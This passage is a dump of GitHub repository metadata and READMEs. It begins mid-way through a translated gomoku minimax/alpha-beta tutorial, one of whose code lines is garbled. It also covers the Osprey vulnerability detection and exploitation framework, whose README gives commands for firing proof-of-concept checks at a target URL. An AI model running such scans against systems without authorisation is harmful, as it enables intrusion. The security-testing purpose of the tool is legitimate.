enemy_list, score_all_arr_enemy)\n        enemy_score += cal_score(m, n, 1, 1, my_list, enemy_list, score_all_arr_enemy)\n        enemy_score += cal_score(m, n, -1, 1, my_list, enemy_list, score_all_arr_enemy)\n\n    total_score = my_score - enemy_score*ratio*0.1\n\n    return total_score\n```\nFor the AI \u200b\u200bto go where it is best, that is to calculate the score of the situation after it walks at a certain point, and then get the point with the largest score, isn't it the most appropriate point? so easy! This is the maximum value search.\n\nBut don't forget, you only considered one step, and the search depth is only 1. Haven't you heard that wily guys always consider 3 steps? That is, after taking this step, what will the opponent's next move be? . The opponent is not stupid, and will definitely go up and down at the point where my score is the smallest. This score is relative to me. My score is the smallest. That is the optimal strategy of the opponent. This is the minimum value search.\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/6893492-43f994077bb9a6d2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nIf the AI \u200b\u200bneeds to consider 3 steps, then the search depth is 3, that is, the point where the search falls, and the score is the largest after 3 steps. This can be played against the old guy who can see 3 moves.\n\nPseudocode about the maximum and minimum values \u200b\u200b(note that it is pseudocode, not the python code of the example in this article):\nThere is recursion in it, I believe it can be well understood.\n```\nint MinMax(int \u200b\u200bdepth) { // The evaluation of the function is evaluated from the angle of white square\nif (SideToMove() == WHITE) { // White is the \"biggest\"\nreturn Max(depth);\n} else { // Black is the \"smallest\" one\nreturn Min(depth);\n}\n}\nint Max(int \u200b\u200bdepth) {\nint best = -INFINITY;\nif (depth <= 0) {\nreturn Evaluate();\n}\nGenerateLegalMoves();\nwhile (MovesLeft()) {\nMakeNextMove();\nval = Min(depth - 1);\nUnmakeMove();\nif (val > best) {\nbest = val;\n}\n}\nreturn best;\n}\nint Min(int depth) {\nint best = INFINITY; // Note that this is different from the \"maximum\" algorithm\nif (depth <= 0) {\nreturn Evaluate();\n}\nGenerateLegalMoves();\nwhile (MovesLeft()) {\nMakeNextMove();\nval = Max(depth - 1);\nUnmakeMove();\nif (val < best) { // Note that this is different from the \"maximum\" algorithm\nbest = val;\n}\n}\nreturn best;\n}\n```\nCome here, don't you feel like it's over? Can you compete with the old guy? This is wrong. I have overlooked a very important issue, which is the calculation amount of the search. You think that the computer is a machine, and the cpu is an intel i7, and the calculation can be completed in an instant. The reason why this game tree is called a tree is that its branch points The number grows exponentially. The difference in calculation between search depth 3 and search depth 5 is not a concept of several times. It is the concept of exponential difference. So although the backgammon board is not as big as Go, but searching in this way of searching all possibilities will kill the computer.\n\nSo, smart people optimized it, which is alpha-beta pruning search.\n\n## alpha-beta pruning search\nSuppose the search situation of the game tree is as follows:\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/6893492-56a256a2c482c24e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\u03b1 is the known maximum value, and \u03b2 is the known minimum value, because I don\u2019t know how much it is because I haven\u2019t searched it yet. To be on the safe side, initialize it to -\u221e and +\u221e.\n\nWhen D is searched, the score of the situation is 5, (by the way, such a search is a depth-first search, what is a depth-first search, but Baidu) then that is to say, if you want to search for the maximum value, then it is only possible to be in (5, +\u221e), similarly, to search for the minimum value, it will only be between (-\u221e, 5).\nContinue to search, when G is found, F is temporarily equal to 6, F is to find the maximum value, then F can no longer be less than 6, and B is to find the minimum value, the known minimum value of B is (-\u221e, 5) In between, it is impossible for your F to be smaller than 6, why should I search for the situation behind your F? Isn't it a waste of time, so I decisively clicked off the F branch, and stopped searching, this is pruning.\nThe same is true for the known possible limit range \u03b2 on the other side. When encountering a situation where searching is a waste of time, pruning is not performed.\nThis reduces a lot of unnecessary search steps, especially finding the most likely maximum and minimum values \u200b\u200bat the beginning, and more rapid pruning. How to find the possible maximum and minimum values \u200b\u200bas soon as possible at the beginning, I will talk about it later. Interrupt first, the method of extremely negative value.\n\n## Negative maximum method\nThe above pseudo-code has to find the maximum value, the minimum value, and two functions. In fact, they all find their respective maximum values. The respective maximum values \u200b\u200bare values. They all stand on their own side to find the maximum value. Add a negative sign in front of the value, isn't it the minimum value for me? It's a bit confusing, but the reason is believed to be easy to understand. The advantage of this is that the maximum and minimum values \u200b\u200bare written in a function. Look at the code:\n```\n# Negative maximum algorithm search alpha + beta pruning\ndef negamax(is_ai, depth, alpha, beta):\n    # Whether the game is over | | Whether the recursive depth of exploration reaches the boundary\n    if game_win(list1) or game_win(list2) or depth == 0:\n        return evaluation(is_ai)\n\n    blank_list = list(set(list_all).difference(set(list3)))\n    order(blank_list) # Search order sorting improves pruning efficiency\n    # traverse each candidate step\n    for next_step in blank_list:\n\n        global search_count\n        search_count += 1\n\n        # If the position to be evaluated has no adjacent children, it will not be evaluated and the calculation will be reduced\n        if not has_neightnor(next_step):\n            continue\n\n        if is_ai:\n            list1.append(next_step)\n        else:\n            list2.append(next_step)\n        list3.append(next_step)\n\n        value = -negamax(not is_ai, depth - 1, -beta, -alpha)\n        if is_ai:\n            list1. remove(next_step)\n        else:\n            list2. remove(next_step)\n        list3. remove(next_step)\n\n        if value > alpha:\n\n            print(str(value) + \"alpha:\" + str(alpha) + \"beta:\" + str(beta))\n            print(list3)if depth == DEPTH:\n                next_point[0] = next_step[0]\n                next_point[1] = next_step[1]\n            # alpha + beta pruning point\n            if value >= beta:\n                global cut_count\n                cut_count += 1\n                return beta\n            alpha = value\n\n    return alpha\n```\nThe actual code here may not be easy to understand, the pseudo code should look better, as follows:\n```\nint negamax(GameState S, int depth, int alpha, int beta) {\n    // Whether the game is over || Whether the recursive depth of exploration reaches the boundary\n    if ( gameover(S) || depth == 0 ) {\n        return evaluation(S);\n    }\n    // traverse each candidate step\n    foreach ( move in candidate list ) {\n        S' = makemove(S);\n        value = -negamax(S', depth - 1, -beta, -alpha);\n        unmakemove(S')\n        if ( value > alpha ) {\n            // alpha + beta pruning point\n            if ( value >= beta ) {\n                return beta;\n            }\n            alpha = value;\n        }\n    }\n    return alpha;\n}\n```\n## Other optimizations\nWell, it is basically over here, but according to the characteristics of backgammon, some other optimizations can be added, such as the starting point of the search, starting from the search around the point in the previous step, a relatively large maximum value can be found as soon as possible, and relatively small minima, resulting in faster pruning. Because the neighboring points are the most probable. In addition, in order to reduce the amount of calculation, I also removed the positions that have no adjacent children in all directions, because such positions are unlikely to be valuable positions. Of course, this optimization is not rigorous, but in order to reduce the amount of calculation. .\n\n## source code\nThe final source code is in\n[https://github.com/colingogogo/gobang_AI#gobang_ai](https://github.com/colingogogo/gobang_AI#gobang_ai)\n Remember to order a star, haha\n\nThe interface part is borrowed from here\n[http://www.cnblogs.com/qiaozhoulin/p/4546884.html](http://www.cnblogs.com/qiaozhoulin/p/4546884.html)\nThe graphics module needs to be installed, download address: [http://mcsp.wartburg.edu/zelle/python/graphics.py](http://mcsp.wartburg.edu/zelle/python/graphics.py) Save to C: Change the version number in the \\Python27\\Lib\\site-packages path to the one you use\n\nThe source code is not important, what is important is that such an idea can be used to write any game-like AI, of course the evaluation function must be written well.\n\nPut a screenshot at the end, thank you!\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/6893492-eaf7554bf44b9dcd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "TophantTechnology/osprey", "link": "https://github.com/TophantTechnology/osprey", "tags": ["osprey", "poc", "python"], "stars": 506, "description": null, "lang": "Python", "repo_lang": "", "readme": "# Osprey  [![Python 3.5](https://img.shields.io/badge/python-3.5-yellow.svg)](https://www.python.org/)\n\nOsprey\u662f\u7531TCC(\u6597\u8c61\u80fd\u529b\u4e2d\u5fc3)\u51fa\u54c1\u5e76\u957f\u671f\u7ef4\u62a4\u7684\u5f00\u6e90\u6f0f\u6d1e\u68c0\u6d4b\u6846\u67b6\n\n### \u7b80\u4ecb\n\nOsprey\u2014\u2014\u9c7c\u9e70\uff0c\u4e00\u79cd\u5584\u4e8e\u6355\u9c7c\u7684\u731b\u79bd\uff0c\u53d6\u6b64\u547d\u540d\u6f0f\u6d1e\u76d2\u5b50PoC\u6846\u67b6\uff0c\u5bd3\u610f\u5feb\u3001\u7cbe\u3001\u51c6\u3002\n\nOsprey\u662f\u4e00\u4e2a\u53ef\u6269\u5c55\u7684\u5f00\u6e90\u6f0f\u6d1e\u68c0\u6d4b\u4e0e\u5229\u7528\u6846\u67b6(Python3\u5f00\u53d1)\uff0c\u662fTCC\u957f\u671f\u7684\u5b89\u5168\u80fd\u529b\u4e0e\u7ecf\u9a8c\u7684\u79ef\u7d2f\u5f62\u6210\u7684\u4e00\u4e2a\u53ef\u7528\u5de5\u5177\uff0c\u76ee\u524d\u88ab\u96c6\u6210\u5e94\u7528\u4e8e\u4f01\u4e1a\u7ea7\u5b89\u5168\u4ea7\u54c1 [```\u7f51\u85e4\u98ce\u9669\u611f\u77e5-CRS```](https://www.riskivy.com/product/crs) \u4e2d\u3002 Osprey\u6846\u67b6\u53ef\u4f9b\u4f7f\u7528\u8005\u5728\u6e17\u900f\u6d4b\u8bd5\u3001\u6f0f\u6d1e\u68c0\u6d4b\u3001\u6f0f\u6d1e\u626b\u63cf\u7b49\u573a\u666f\u4e2d\u5e94\u7528\u3002\u6846\u67b6\u63d0\u4f9b\u4e86\u547d\u4ee4\u884c\u63a5\u53e3\u548cWeb\u63a5\u53e3\uff0c\u53ef\u4f9b\u7075\u6d3b\u8c03\u7528\uff0c\u4e5f\u53ef\u7528\u4e8e\u6784\u5efa\u81ea\u5df1\u7684\u626b\u63cf\u5668\u3002\n\n### \u5b89\u88c5\n\n\u4eceGit\u4e0a\u83b7\u53d6\u6700\u65b0\u7248\u672c\u7684osprey\u4ee3\u7801\n\n``` bash\n$ git clone https://github.com/TophantTechnology/osprey.git\n```\n\n\u63a8\u8350\u5728Linux\u73af\u5883\u4e0b\u4f7f\u7528\uff0c\u5e76\u7528virtualenv\u642d\u5efa\u72ec\u7acb\u7684python3\u73af\u5883\n``` bash\n$ python3 -m venv venv\n$ source venv/bin/activate\n```\n\n#### \u6700\u5c0f\u5316\u5b89\u88c5\n\n\u6700\u5c0f\u5316\u5b89\u88c5\u4ec5\u63d0\u4f9b\u547d\u4ee4\u884c\u548c\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u7684Console\u63a5\u53e3\uff0c\u53ef\u6ee1\u8db3\u5927\u591a\u6570\u573a\u666f\u4e0b\u7684\u4f7f\u7528\u3002\n\n``` bash\n$ python setup.py install \n```\n\n#### \u5b8c\u5168\u5b89\u88c5\n\n\u5b89\u88c5osprey\u7684\u5b8c\u6574\u529f\u80fd\uff0c\u5305\u62ec\u547d\u4ee4\u884c\u5de5\u5177\u3001 \u4ea4\u4e92\u5f0fConsole\u63a5\u53e3\u3001 Web API\u63a5\u53e3\u3002\n\n\n- \u5b89\u88c5\u914d\u7f6eRabbitMQ\n- \u5b89\u88c5\u914d\u7f6eMongoDB\n- \u914d\u7f6e [```settings.py```](./settings.py)\n  1. \u4f7f\u7528MongoDB\u4f5c\u4e3a\u6570\u636e\u5e93\uff1ause_mongo = True, use_sqlite = False\n  2. \u586b\u5145RabbitMQ\u548cMongoDB\u7684URI\uff1amongo_url, CELERY_BROKER\n  3. \u586b\u5199\u4f60\u7684Python3\u89e3\u91ca\u5668\u8def\u5f84\uff1aPROGRAM\n- \u5b89\u88c5Python\u5305:\n\n``` bash\n$ pip install -r web/requirements.txt\n```\n\n### \u4f7f\u7528\n\n- \u83b7\u53d6\u5e2e\u52a9\u5217\u8868\uff1a\n\n``` bash\n$ python osprey.py --help\n```\n\n- \u6700\u7b80\u5355\u7684\u7528\u6cd5\uff0c\u9488\u5bf9\u4e00\u4e2a\u76ee\u6807URL\uff0c\u53d1\u8d77\u4e00\u4e2aPoC\u505a\u68c0\u6d4b\uff1a\n\n``` bash\n$ python osprey.py -t URL -v POC_ID\n```\n\n- \u4f7f\u7528\u4ea4\u4e92\u5f0fConsole\u63a5\u53e3\uff1a\n\n``` bash\n$ python console/osprey-console.py\n```\n\n- \u4f7f\u7528Web API\u63a5\u53e3\uff1a\n\n``` bash\n$ gunicorn -b 127.0.0.1:5000 osprey-web:app -w 5\n$ celery -A osprey-web.celery worker --concurrency=5 -Q poc-queue -n osprey.%h -Ofair\n```\n\n### Docker\u4f7f\u7528\n\n\u53ef\u4ee5\u4f7f\u7528docker-compose\u5feb\u901f\u642d\u5efa\u5b8c\u6574\u7684Osprey\u73af\u5883\uff08\u9700\u5b89\u88c5docker\u548cdocker-compose\uff09\n\n\u7f16\u8bd1docker\u73af\u5883\n\n``` bash\n$ cd docker\n$ docker-compose build\n```\n\n\u8fd0\u884c\u5b8c\u6574\u7684osprey\u73af\u5883\n\n``` bash\n$ docker-compose up -d\n```\n\n\u8bbf\u95ee`http://YOUR-IP:5000/`\uff0c\u53ef\u4ee5\u770b\u5230osprey Web\u90e8\u7f72\u5df2\u5b8c\u6210\n\n![](docker/osprey-web.png)\n\n\u5229\u7528docker\u642d\u5efaosprey\u7684Web\u63a5\u53e3\u4e0b\u53d1\u4efb\u52a1\u548c\u83b7\u53d6\u6267\u884c\u7ed3\u679c\n\n``` bash\n$ curl http://127.0.0.1:5000/api/start -d '{\"task_id\": \"TASK_ID\", \"vid\": \"vb_ID\", \"target\": \"http://x.com/\"}'\n$ curl http://127.0.0.1:5000/api/result -d '{\"task_id\": \"TASK_ID\"}'\n```\n\nosprey\u955c\u50cf\u62c9\u53d6\u5230\u672c\u5730\u4e4b\u540e\uff0c\u4e5f\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7docker run\u8fdb\u5165\u5bb9\u5668\u4e2d\uff08\u4e0d\u542f\u7528osprey-web\uff09\uff0c\u7136\u540e\u4f7f\u7528\u547d\u4ee4\u884c\u5de5\u5177\u6216\u4ea4\u4e92\u5f0fConsole\u63a5\u53e3\n\n``` bash\n$ docker run -it -v pocs:/opt/osprey/pocs tophant/osprey bash\n```\n\n### \u76f8\u5173\u6587\u6863\n\n\u57fa\u4e8eOsprey\u7f16\u5199PoC\uff0c\u8bf7\u53c2\u8003 [osprey\u7f16\u5199\u89c4\u8303\u548c\u8981\u6c42\u8bf4\u660e](doc/PoC_specification.md)\n\n\u8981\u4f7f\u7528Osprey Web\u63a5\u53e3\uff0c\u8bf7\u53c2\u8003 [osprey-web\u63a5\u53e3\u4f7f\u7528\u8bf4\u660e\u6587\u6863](doc/web_api_tutorial.md)\n\nOsprey-\u9c7c\u9e70\u4ea4\u6d41\u7fa4\uff1a483373752\n\n### \u53c2\u8003\u94fe\u63a5\n\n- [CyberIVY](https://www.riskivy.com/)\n- [TCC-Group of CyberIVY](https://blog.riskivy.com/)\n- [Vulbox](https://www.vulbox.com/)\n- [TCC-Group of Vulbox](https://www.vulbox.com/knowledge)\n\n### \u6b22\u8fce\u63d0\u4ea4POC\n\n\u6b22\u8fce\u63d0\u4ea4\u6709\u7528\u7684\u65b0POC\uff0c\u63d0\u4ea4\u7684POC\u6211\u4eec\u4f1a\u8fdb\u884c\u7ef4\u62a4\u548c\u516c\u5e03\u3002:)\n\n\n\n \n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "OpenTSDB/tcollector", "link": "https://github.com/OpenTSDB/tcollector", "tags": [], "stars": 505, "description": "Data collection framework for OpenTSDB", "lang": "Python", "repo_lang": "", "readme": "tcollector is a framework to collect data points and store them in OpenTSDB.\nIt allows you to write simple collectors that it'll run and monitor.  It also\nhandles the communication with the TSDs.\n\nFor more info, see the [TCollector Documentation](http://www.opentsdb.net/tcollector.html)\n\n[![Build Status](https://travis-ci.org/OpenTSDB/tcollector.svg?branch=master)](https://travis-ci.org/OpenTSDB/tcollector)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "NilujePerchut/kicad_scripts", "link": "https://github.com/NilujePerchut/kicad_scripts", "tags": [], "stars": 505, "description": "Some kicad scripts", "lang": "Python", "repo_lang": "", "readme": "# kicad_scripts\nSome kicad scripts\n\n## Teardrops\n\nThis action plugin adds and deletes teardrops to a PCB.<br>\nSee the README file in the teardrops directory to get details about it.\n\nThis plugin now support Kicad V6 in the `master` branch.\nFor V5/V5.99 Kicad version, please use the `V5`branch.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ZJUGiveLab/UNet-Version", "link": "https://github.com/ZJUGiveLab/UNet-Version", "tags": [], "stars": 504, "description": null, "lang": "Python", "repo_lang": "", "readme": "# UNet 3+\nCode for ICASSP 2020 paper \u2018UNet 3+: A full-scale connected unet for medical image segmentation\u2019\n\n## Requirements\n* python 3.6.2\n* pytorch 1.3.1\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "xiaoshun007/12306Python", "link": "https://github.com/xiaoshun007/12306Python", "tags": ["python", "12306", "chromedriver", "splinter"], "stars": 504, "description": "An automatic 12306 hacking program by Python. 12306\u81ea\u52a8\u62a2\u7968\u7a0b\u5e8f", "lang": "Python", "repo_lang": "", "readme": "# 12306Python\n\n![](https://img.shields.io/badge/language-python-blue.svg) ![](https://img.shields.io/badge/hack12306-v1.0.3-519dd9.svg)\n\nhack12306.py is a automatic [12306.cn](http://www.12306.cn/mormhweb/) ticket booking program by Python 3.x . This program uses [splinter](https://splinter.readthedocs.io/en/latest/index.html) (python test framework for web applications) to operate the website automatically.\n\n## [Chinese version](https://github.com/xiaoshun007/12306Python/blob/master/README.md)\n\n## Description\n```\n    |-- README.md\uff1aDescription\n    |-- config.ini\uff1aConfig file\n    |-- hack12306.py\uff1aMain program\t\n    |-- city_code.txt\uff1acity and code mapping file\n    |-- resoures\uff1aresources\n            |-- images\uff1aimages\n                    |-- \u6d41\u7a0b\u56fe.jpg\uff1aflow chart\n```\n\n## Design\n![image](https://github.com/xiaoshun007/12306Python/blob/master/resources/images/\u6d41\u7a0b\u56fe.jpg)\n\n## Features\n```\n    hack12306.py is a automatic 12306.cn ticket booking program by Python 3.x. While you run it, what you need to do is wait for the browser page to jump out, enter the verification code, click the login button, then go have a cup of tea or coffee, the ticket you want will be in your pocket. Easy and hanppy!\n\nSupported\uff1a\n    1\u3001support config departure city, destination city, start date\n    2\u3001support config train types(D, G etc.)\n    3\u3001support config departure time\n    4\u3001need to enter the verification code manually\n    5\u3001support config train order\n    \t\t(0 means the first matches from top to bottom; 2 means the second train on the list)\n    6\u3001support auto search and confirm\t\n    7\u3001support config file configurable\n    8\u3001support config seat type\n   \nNot supported\uff1a\n    1\u3001Email\n```\n\n## Usage\n### 1\u3001The one who wants to buy tikect should to be added to the login account\n```\n    passenger info should be added in advance for the program to use\n```\n\n### 2\u3001config\uff08Config.ini\uff09\n```\n\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "patrick-kidger/NeuralCDE", "link": "https://github.com/patrick-kidger/NeuralCDE", "tags": ["machine-learning", "rough-paths", "neural-differential-equations", "time-series", "controlled-differential-equations", "deep-learning", "deep-neural-networks", "pytorch", "dynamical-systems", "differential-equations", "neural-networks"], "stars": 504, "description": "Code for \"Neural Controlled Differential Equations for Irregular Time Series\" (Neurips 2020 Spotlight)", "lang": "Python", "repo_lang": "", "readme": "<h1 align='center'> Neural Controlled Differential Equations for Irregular Time Series<br>(NeurIPS 2020 Spotlight)<br>\n    [<a href=\"https://arxiv.org/abs/2005.08926\">arXiv</a>, <a href=\"https://www.youtube.com/watch?v=sbcIKugElZ4\">YouTube</a>] </h1>\n\n<p align=\"center\">\n<img align=\"middle\" src=\"./imgs/main.png\" width=\"666\" />\n</p>\n\nBuilding on the well-understood mathematical theory of _controlled differential equations_, we demonstrate how to construct models that:\n+ Act directly on irregularly-sampled partially-observed multivariate time series.\n+ May be trained with memory-efficient adjoint backpropagation - even across observations.\n+ Demonstrate state-of-the-art performance.\n\nThey are straightforward to implement and evaluate using existing tools, in particular PyTorch and the [`torchcde`](https://github.com/patrick-kidger/torchcde) library.\n\n----\n\n### Library\nSee [`torchcde`](https://github.com/patrick-kidger/torchcde).\n\n### Example\nWe encourage looking at [example.py](https://github.com/patrick-kidger/torchcde/blob/master/example/example.py), which demonstrates how to use the library to train a Neural CDE model to predict the chirality of a spiral.\n\nAlso see [irregular_data.py](https://github.com/patrick-kidger/torchcde/blob/master/example/irregular_data.py), for demonstrations on how to handle variable-length inputs, irregular sampling, or missing data, all of which can be handled easily, without changing the model.\n\nA self contained short example:\n```python\nimport torch\nimport torchcde\n\n# Create some data\nbatch, length, input_channels = 1, 10, 2\nhidden_channels = 3\nt = torch.linspace(0, 1, length)\nt_ = t.unsqueeze(0).unsqueeze(-1).expand(batch, length, 1)\nx_ = torch.rand(batch, length, input_channels - 1)\nx = torch.cat([t_, x_], dim=2)  # include time as a channel\n\n# Interpolate it\ncoeffs = torchcde.natural_cubic_spline_coeffs(x)\nX = torchcde.NaturalCubicSpline(coeffs)\n\n# Create the Neural CDE system\nclass F(torch.nn.Module):\n    def __init__(self):\n        super(F, self).__init__()\n        self.linear = torch.nn.Linear(hidden_channels, \n                                      hidden_channels * input_channels)\n    def forward(self, t, z):\n        return self.linear(z).view(batch, hidden_channels, input_channels)\n\nfunc = F()\nz0 = torch.rand(batch, hidden_channels)\n\n# Integrate it\ntorchcde.cdeint(X=X, func=func, z0=z0, t=X.interval)\n```\n\n<p align=\"center\">\n<img align=\"middle\" src=\"./imgs/spiral.png\" width=\"666\" />\n</p>\n\n### Reproducing experiments\nEverything to reproduce the experiments of the paper can be found in the [`experiments` folder](./experiments). Check the folder for details.\n\n### Results\nAs an example (taken from the paper - have a look there for similar results on other datasets):\n\n<p align=\"center\">\n<img align=\"middle\" src=\"./imgs/ct.png\" width=\"666\" />\n</p>\n\n### Citation\n```bibtex\n@article{kidger2020neuralcde,\n    title={{N}eural {C}ontrolled {D}ifferential {E}quations for {I}rregular {T}ime {S}eries},\n    author={Kidger, Patrick and Morrill, James and Foster, James and Lyons, Terry},\n    journal={Advances in Neural Information Processing Systems},\n    year={2020}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "CMU-Perceptual-Computing-Lab/openpose_train", "link": "https://github.com/CMU-Perceptual-Computing-Lab/openpose_train", "tags": ["openpose", "openpose-training", "computer-vision", "machine-learning", "human-pose-estimation", "real-time", "deep-learning", "human-behavior-understanding", "iccv-2019"], "stars": 504, "description": "Training repository for OpenPose", "lang": "Python", "repo_lang": "", "readme": "# OpenPose Training (Experimental)\n\n<div align=\"center\">\n    <img src=\".github/Logo_main_black.png\", width=\"300\">\n</div>\n\n-----------------\n\n\n\n## Contents\n1. [Introduction](#introduction)\n2. [Functionality](#functionality)\n3. [Testing](#testing)\n4. [Training](#training)\n5. [Citation](#citation)\n6. [License](#license)\n\n\n\n## Experimental Disclaimer\nWhile [**OpenPose**](https://github.com/CMU-Perceptual-Computing-Lab/openpose) is highly tested and stable, this training repository is highly experimental and not production ready. Use at your own risk.\n\nThis repository was used and tested on Ubuntu 16 with CUDA 8, and it compiles in Ubuntu 20 with WSL2 (Windows 11). It should work with other versions of Ubuntu and up to CUDA 10, but it might require modifications.\n\n\n\n## Introduction\n[**OpenPose**](https://github.com/CMU-Perceptual-Computing-Lab/openpose) has represented the **first real-time multi-person system to jointly detect human body, hand, facial, and foot keypoints (in total 135 keypoints) on single images**.\n\nIt is **authored by** [**Gin\u00e9s Hidalgo**](https://www.gineshidalgo.com), [**Zhe Cao**](https://people.eecs.berkeley.edu/~zhecao), [**Tomas Simon**](http://www.cs.cmu.edu/~tsimon), [**Shih-En Wei**](https://scholar.google.com/citations?user=sFQD3k4AAAAJ&hl=en), [**Yaadhav Raaj**](https://www.raaj.tech), [**Hanbyul Joo**](https://jhugestar.github.io), **and** [**Yaser Sheikh**](http://www.cs.cmu.edu/~yaser). It is **maintained by** [**Gin\u00e9s Hidalgo**](https://www.gineshidalgo.com) **and** [**Yaadhav Raaj**](https://www.raaj.tech). OpenPose would not be possible without the [**CMU Panoptic Studio dataset**](http://domedb.perception.cs.cmu.edu). We would also like to thank all the people who [has helped OpenPose in any way](doc/09_authors_and_contributors.md).\n\n[**OpenPose Training**](https://github.com/CMU-Perceptual-Computing-Lab/openpose_training) includes the training code for [**OpenPose**](https://github.com/CMU-Perceptual-Computing-Lab/openpose), as well as some experimental models that might not necessarily end up in OpenPose (to avoid confusing its users with too many models).\n\nThis repository and its documentation assumes knowledge of [OpenPose](https://github.com/CMU-Perceptual-Computing-Lab/openpose). If you have not used OpenPose yet, you must familiare yourself with it before attempting to follow this documentation.\n\n\n\n## Functionality\n- **Training code** for [**OpenPose**](https://github.com/CMU-Perceptual-Computing-Lab/openpose).\n- Release of some **experimental models** that have not been included into [**OpenPose**](https://github.com/CMU-Perceptual-Computing-Lab/openpose). These models are experimental and might present some issues compared to the models officially released inside OpenPose.\nThis project is licensed under the terms of the [license](LICENSE).\n    - `BODY_135`: Whole-body pose estimation models from [Single-Network Whole-Body Pose Estimation](https://arxiv.org/abs/1909.13423).\n    - `BODY_25B`: Alternative to the `BODY_25` model of OpenPose, with higher accuracy but slower speed.\n\n\n\n## Experimental Models\nThe `experimental_models` directory contains our experimental models, including the whole-body model from [Single-Network Whole-Body Pose Estimation](README.md#citation), as well as instructions to make it run inside [OpenPose](https://github.com/CMU-Perceptual-Computing-Lab/openpose). See [experimental_models/README.md](experimental_models/README.md) for more details.\n\n\n\n## Testing\nSee [testing/README.md](testing/README.md) for more details.\n\n\n\n## Training\nThe [training/](training/) directory contains multiple scripts to generate the scripts for training and to actually train the models. See [training/README.md](training/README.md) for more details.\n\n\n\n## Validation\nThe [validation/](validation/) directory contains multiple scripts to evaluate the accuracy of the trained models. See [validation/README.md](validation/README.md) for more details.\n\n\n\n## Citation\nPlease cite these papers in your publications if it helps your research (the face keypoint detector was trained using the procedure described in [Simon et al. 2017] for hands):\n\n    @inproceedings{hidalgo2019singlenetwork,\n      author = {Gines Hidalgo and Yaadhav Raaj and Haroon Idrees and Donglai Xiang and Hanbyul Joo and Tomas Simon and Yaser Sheikh},\n      booktitle = {ICCV},\n      title = {Single-Network Whole-Body Pose Estimation},\n      year = {2019}\n    }\n\n    @inproceedings{cao2018openpose,\n      author = {Zhe Cao and Gines Hidalgo and Tomas Simon and Shih-En Wei and Yaser Sheikh},\n      booktitle = {arXiv preprint arXiv:1812.08008},\n      title = {Open{P}ose: realtime multi-person 2{D} pose estimation using {P}art {A}ffinity {F}ields},\n      year = {2018}\n    }\n\nLinks to the papers:\n\n- [Single-Network Whole-Body Pose Estimation](https://arxiv.org/abs/1909.13423)\n- [OpenPose: Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields](https://arxiv.org/abs/1812.08008)\n\n\n\n## License\nOpenPose is freely available for free non-commercial use, and may be redistributed under these conditions. Please, see the [license](./LICENSE) for further details. Interested in a commercial license? Check this [FlintBox link](https://cmu.flintbox.com/#technologies/b820c21d-8443-4aa2-a49f-8919d93a8740). For commercial queries, use the `Contact` section from the [FlintBox link](https://cmu.flintbox.com/#technologies/b820c21d-8443-4aa2-a49f-8919d93a8740) and also send a copy of that message to [Yaser Sheikh](mailto:yaser@cs.cmu.edu).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "compose/governor", "link": "https://github.com/compose/governor", "tags": [], "stars": 504, "description": "Runners to orchestrate a high-availability PostgreSQL", "lang": "Python", "repo_lang": "", "readme": "# Governor has been deprecated.\nCompose are no longer maintaining Governor as an active project. We are pleased to say that Governor seeded the [Patroni](https://github.com/zalando/patroni) project which Compose has now adopted as their HA solution. We recommend it to anyone seeking similar functionality to Governor. We have archived the project on GitHub; you are free to use it and fork it, but we will not be accepting issues or pull requests.\n\n# Governor: A Template for PostgreSQL HA with etcd\n\n*There are many ways to run high availability with PostgreSQL; here we present a template for you to create your own custom fit high availability solution using etcd and python for maximum accessibility.*\n\nCompose runs a a [Postgresql as a service platform](https://www.compose.io/postgresql), which is highly-available from creation.  This is a coded example from our prior blog post: [High Availability for PostgreSQL, Batteries Not Included](https://blog.compose.io/high-availability-for-postgresql-batteries-not-included/).\n\n## Getting Started\nTo get started, do the following from different terminals:\n\n```\n> etcd --data-dir=data/etcd\n> ./governor.py postgres0.yml\n> ./governor.py postgres1.yml\n```\n\nFrom there, you will see a high-availability cluster start up. Test\ndifferent settings in the YAML files to see how behavior changes.  Kill\nsome of the different components to see how the system behaves.\n\nAdd more `postgres*.yml` files to create an even larger cluster.\n\nWe provide a haproxy configuration, which will give your application a single endpoint for connecting to the cluster's leader.  To configure, run:\n\n```\n> haproxy -f haproxy.cfg\n> sh haproxy_status.sh 127.0.0.1 5432 15432\n> sh haproxy_status.sh 127.0.0.1 5433 15433\n```\n\n```\n> psql --host 127.0.0.1 --port 5000 postgres\n```\n\n## How Governor works\n\nFor a diagram of the high availability decision loop, see the included a PDF: [postgres-ha.pdf](https://github.com/compose/template-etcd-based-postgres-ha/blob/master/postgres-ha.pdf)\n\n## YAML Configuration\n\nFor an example file, see `postgres0.yml`.  Below is an explanation of settings:\n\n* *loop_wait*: the number of seconds the loop will sleep\n\n* *etcd*\n  * *scope*: the relative path used on etcd's http api for this deployment, thus you can run multiple HA deployments from a single etcd\n  * *ttl*: the TTL to acquire the leader lock.  Think of it as the length of time before automatic failover process is initiated.\n  * *endpoint*: the scheme://host:port for the etcd endpoint where scheme is https or http\n  * *authentication*: optional if etcd is protected by HTTP basic auth\n    * *username*: username for accessing 